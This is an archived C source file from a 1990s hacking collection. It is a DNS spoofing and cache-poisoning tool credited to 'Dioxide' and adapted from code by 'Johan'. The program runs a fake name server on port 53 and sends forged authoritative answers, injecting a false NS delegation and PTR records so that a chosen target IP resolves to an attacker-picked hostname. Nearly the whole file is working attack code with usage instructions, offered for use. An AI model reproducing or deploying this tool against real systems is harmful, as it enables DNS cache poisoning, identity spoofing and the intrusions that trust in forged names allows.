home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Freaks Macintosh Archive
/
Freaks Macintosh Archive.bin
/
Freaks Macintosh Archives
/
Hacking & Misc
/
bundle of exploits.sit
/
bundle of exploits
/
any-erect.c
< prev
next >
Wrap
C/C++ Source or Header
|
1998-07-17
|
13KB
|
540 lines
/* #dioxide 1997 THIS IS ORIGIONALLY MADE BY JOHAN ONLY MODS BY DIOXIDE */
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <strings.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#define VERSION "Erect by Dioxide '97"
#define MAXBUFSIZE 64*1024
#define DC_A 1
#define DC_NS 2
#define DC_CNAME 5
#define DC_SOA 6
#define DC_WKS 11
#define DC_PTR 12
#define DC_HINFO 13
#define DC_MINFO 14
#define DC_MX 15
#define DC_TXT 16
typedef struct {
unsigned short id;
unsigned char rd:1; /* recursion desired */
unsigned char tc:1; /* truncated message */
unsigned char aa:1; /* authoritive answer */
unsigned char opcode:4; /* purpose of message */
unsigned char qr:1; /* response flag */
unsigned char rcode:4; /* response code */
unsigned char unused:2; /* unused bits */
unsigned char pr:1; /* primary server required (non standard) */
unsigned char ra:1; /* recursion available */
unsigned short qdcount;
unsigned short ancount;
unsigned short nscount;
unsigned short arcount;
} dnsheaderrec;
typedef struct {
unsigned short labellen;
char label[256];
unsigned short type;
unsigned short class;
unsigned long ttl;
unsigned short buflen;
char buf[256];
} dnsrrrec;
typedef struct {
dnsheaderrec h;
dnsrrrec qd[20];
dnsrrrec an[20];
dnsrrrec ns[20];
dnsrrrec ar[20];
} dnsrec;
char *dnssprintflabel(char *s, char *buf, char *p);
char *dnsaddlabel(char *p, char *label);
void dnstxt2rr(dnsrrrec *rr, char *b);
void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
char *dnsaddbuf(char *p, void *buf, short len);
int dnsmakerawpacket(dnsrec *dns, char *buf);
char *ip_to_arpa(char *ip);
char *arparize(char *ip);
char *get_token(char **src, char *token_sep);
char *dnssprintflabel(char *s, char *buf, char *p)
{
unsigned short i,len;
char *b=NULL;
len=(unsigned short)*(p++);
while (len) {
while (len >= 0xC0) {
if (!b)
b=p+1;
p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
len=(unsigned short)*(p++);
}
for (i=0;i<len;i++)
*(s++)=*(p++);
*(s++)='.';
len=(unsigned short)*(p++);
}
*(s++)=0;
if (b)
return(b);
return(p);
}
char *dnsaddlabel(char *p, char *label)
{
char *p1;
while ((*label) && (label)) {
if ((*label == '.') && (!*(label+1)))
break;
p1=strchr(label,'.');
if (!p1)
p1=strchr(label,0);
*(p++)=p1-label;
memcpy(p,label,p1-label);
p+=p1-label;
label=p1;
if (*p1)
label++;
}
*(p++)=0;
return(p);
}
#define DEFAULTTTL 60*10
void dnstxt2rr(dnsrrrec *rr, char *b)
{
char *tok[20], *p;
unsigned short numt=0, i;
static char *buf=NULL;
if (!buf) {
if ((buf=malloc(1024)) == NULL) {
perror("malloc");
exit(-1);
}
}
strcpy(buf,b);
p=strtok(buf," \t");
do {
tok[numt++]=p;
} while (p=strtok(NULL," \t"));
p=dnsaddlabel(rr->label,tok[0]);
rr->labellen=p-rr->label;
i=1;
if (isdigit(*p))
rr->ttl=htonl(atol(tok[i++]));
else
rr->ttl=htonl(DEFAULTTTL);
if (strcmp(tok[i],"IN") == 0)
i++;
rr->class=htons(1);
if (strcmp(tok[i],"A") == 0) {
i++;
rr->type=htons(DC_A);
if (i < numt) {
inet_aton(tok[i],rr->buf);
rr->buflen=4;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"CNAME") == 0) {
i++;
rr->type=htons(DC_CNAME);
if (i < numt) {
p=dnsaddlabel(rr->buf,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"NS") == 0) {
i++;
rr->type=htons(DC_NS);
if (i < numt) {
p=dnsaddlabel(rr->buf,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"PTR") == 0) {
i++;
rr->type=htons(DC_PTR);
if (i < numt) {
p=dnsaddlabel(rr->buf,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"MX") == 0) {
i++;
rr->type=htons(DC_MX);
if (i < numt) {
p=rr->buf;
*((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
p=dnsaddlabel(p,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
}
void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
{
int i;
va_list va;
dns->h.qdcount=htons(qdcount);
dns->h.ancount=htons(ancount);
dns->h.nscount=htons(nscount);
dns->h.arcount=htons(arcount);
dns->h.rcode=0;
va_start(va, arcount);
for (i=0;i<qdcount;i++)
dnstxt2rr(&dns->qd[i],va_arg(va, char *));
for (i=0;i<ancount;i++)
dnstxt2rr(&dns->an[i],va_arg(va, char *));
for (i=0;i<nscount;i++)
dnstxt2rr(&dns->ns[i],va_arg(va, char *));
for (i=0;i<arcount;i++)
dnstxt2rr(&dns->ar[i],va_arg(va, char *));
va_end(va);
}
char *dnsaddbuf(char *p, void *buf, short len)
{
memcpy(p,buf,len);
return(p+len);
}
int dnsmakerawpacket(dnsrec *dns, char *buf)
{
char *p;
int i;
unsigned short len;
memcpy(buf,&dns->h,sizeof(dnsheaderrec));
p=buf+sizeof(dnsheaderrec);
/********** Query ***********/
for (i=0;i<ntohs(dns->h.qdcount);i++) {
p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
p=dnsaddbuf(p,&dns->qd[i].type,2);
p=dnsaddbuf(p,&dns->qd[i].class,2);
}
/********** Answer ***********/
for (i=0;i<ntohs(dns->h.ancount);i++) {
p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
p=dnsaddbuf(p,&dns->an[i].type,2);
p=dnsaddbuf(p,&dns->an[i].class,2);
p=dnsaddbuf(p,&dns->an[i].ttl,4);
len=htons(dns->an[i].buflen);
p=dnsaddbuf(p,&len,2);
p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
}
/********** Nameservers ************/
for (i=0;i<ntohs(dns->h.nscount);i++) {
p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
p=dnsaddbuf(p,&dns->ns[i].type,2);
p=dnsaddbuf(p,&dns->ns[i].class,2);
p=dnsaddbuf(p,&dns->ns[i].ttl,4);
len=htons(dns->ns[i].buflen);
p=dnsaddbuf(p,&len,2);
p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
}
/********** Additional ************/
for (i=0;i<ntohs(dns->h.arcount);i++) {
p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
p=dnsaddbuf(p,&dns->ar[i].type,2);
p=dnsaddbuf(p,&dns->ar[i].class,2);
p=dnsaddbuf(p,&dns->ar[i].ttl,4);
len=htons(dns->ar[i].buflen);
p=dnsaddbuf(p,&len,2);
p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
}
return(p-buf);
}
char *get_token(src, token_sep)
char **src;
char *token_sep;
{
char *tok;
if (!(src && *src && **src))
return NULL;
while(**src && strchr(token_sep, **src))
(*src)++;
if(**src)
tok = *src;
else
return NULL;
*src = strpbrk(*src, token_sep);
if (*src)
{
**src = '\0';
(*src)++;
while(**src && strchr(token_sep, **src))
(*src)++;
}
else
*src = "";
return tok;
}
char *ip_to_arpa(char *ip)
{
char *arpablock, *bit_a, *bit_b, *bit_c;
char *oomf;
arpablock = NULL;
arpablock = (char *)malloc(64);
oomf = (char *)malloc(64);
strcpy(oomf, ip);
bit_a = get_token(&oomf, ".");
bit_b = get_token(&oomf, ".");
bit_c = get_token(&oomf, ".");
sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a);
return arpablock;
}
char *arparize(char *ip)
{
char *arpa, *bit_a, *bit_b, *bit_c, *bit_d;
char *oomf;
arpa = NULL;
arpa = (char *)malloc(64);
oomf = (char *)malloc(64);
strcpy(oomf, ip);
bit_a = get_token(&oomf, ".");
bit_b = get_token(&oomf, ".");
bit_c = get_token(&oomf, ".");
bit_d = oomf;
sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a);
return arpa;
}
void main(int argc, char *argv[])
{
int sock, fromlen, numread, len, query;
struct sockaddr_in sa, from, to;
char *buf, *sendbuf;
char *domainnamebuf;
dnsheaderrec *dns;
char *p;
dnsrec dnsh;
char *addname, *fakens, *fakensip, *targetip, *spoofname, *targetblock;
char *kludgeaddname, *kludgetargetblock;
char *cache_line_1, *cache_line_2_1, *cache_line_2_2, *cache_line_3, *cache_line_4;
char *ptr_line_1, *ptr_line_2, *klarpatargetip, *arpatargetip;
if (argc < 6)
{
printf("usage: %s <lookupname> <fakenshost> <fakensip> <targetip> <spoofname>\n", argv[0]);
printf(" lookupname : EG cacher.dioxide.com, used to initiate false caching\n");
printf(" fakenshost : EG ns1.dioxide.com, server name to answer fake PTR's\n");
printf(" fakensip : EG 205.164.89.1, IP of server to answer fake PTR's\n");
printf(" targetip : EG 200.3.4.10, IP of machine you want to spoof from\n");
printf(" spoofname : EG bollox.org, name you want targetip to resolve as\n");
exit(-1);
}
addname = argv[1];
fakens = argv[2];
fakensip = argv[3];
targetip = argv[4];
spoofname = argv[5];
targetblock = (char *)malloc(64);
targetblock = ip_to_arpa(targetip);
kludgetargetblock = (char *)malloc(64);
strcpy(kludgetargetblock, targetblock);
strcat(kludgetargetblock, ".");
kludgeaddname = (char *)malloc(64);
strcpy(kludgeaddname, addname);
strcat(kludgeaddname, ".");
arpatargetip = (char *)malloc(256);
arpatargetip = arparize(targetip);
klarpatargetip = (char *)malloc(64);
strcpy(klarpatargetip, arpatargetip);
strcat(klarpatargetip, ".");
cache_line_1 = (char *)malloc(256);
cache_line_2_1 = (char *)malloc(256);
cache_line_2_2 = (char *)malloc(256);
cache_line_3 = (char *)malloc(256);
cache_line_4 = (char *)malloc(256);
ptr_line_1 = (char *)malloc(256);
ptr_line_2 = (char *)malloc(256);
sprintf(cache_line_1, "%s IN A", addname);
sprintf(cache_line_2_1, "%s 5 IN A %s", addname, fakensip);
sprintf(cache_line_2_2, "%s IN A %s", spoofname, targetip);
sprintf(cache_line_3, "%s IN NS %s", targetblock, fakens);
sprintf(cache_line_4, "%s IN A %s", fakens, fakensip);
sprintf(ptr_line_1, "%s IN PTR", arpatargetip);
sprintf(ptr_line_2, "%s IN PTR %s", arpatargetip, spoofname);
printf("%s now running!\n", VERSION);
printf(" lookupname : %s\n", addname);
printf(" fakenshost : %s\n", fakens);
printf(" fakensip : %s\n", fakensip);
printf(" targetip : %s\n", targetip);
printf(" spoofname : %s\n\n", spoofname);
printf(" TARGETARPA : %s\n", arpatargetip);
printf("Waiting for connect...\n");
if ((buf = malloc(MAXBUFSIZE)) == NULL) {
perror("malloc");
exit(-1);
}
if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
perror("malloc");
exit(-1);
}
if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
perror("malloc");
exit(-1);
}
if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(-1);
}
sa.sin_family = AF_INET;
/* sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(53);
if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
exit(-1);
}
setvbuf(stdout,NULL,_IONBF,0);
while (1) {
fromlen=sizeof(from);
if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
perror("recvfrom");
continue;
}
/* Kludge to stop that damn router */
/*if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
continue;*/
dns=(dnsheaderrec *)buf;
if (dns->qr)
continue;
p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
query=ntohs(*(unsigned short *)p);
printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);
if (strcasecmp(domainnamebuf,kludgeaddname) == 0) {
dnsbuildpacket(&dnsh,1,2,1,1,
cache_line_1,
cache_line_2_1,
cache_line_2_2,
cache_line_3,
cache_line_4);
} else if (strcasecmp(domainnamebuf,klarpatargetip) == 0) {
dnsbuildpacket(&dnsh,1,1,0,0,
ptr_line_1,
ptr_line_2);
} else {
/* Error */
dnsh.h.rcode=5;
strcat(domainnamebuf," IN A");
dnsbuildpacket(&dnsh,1,0,0,0,
domainnamebuf);
}
dnsh.qd[0].type=htons(query);
dnsh.h.id=((dnsheaderrec *)buf)->id;
dnsh.h.qr=1;
dnsh.h.aa=1;
len=dnsmakerawpacket(&dnsh,sendbuf);
to.sin_family=AF_INET;
to.sin_addr.s_addr=from.sin_addr.s_addr;
to.sin_port=from.sin_port;
if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
perror("sendto");
continue;
}
}
}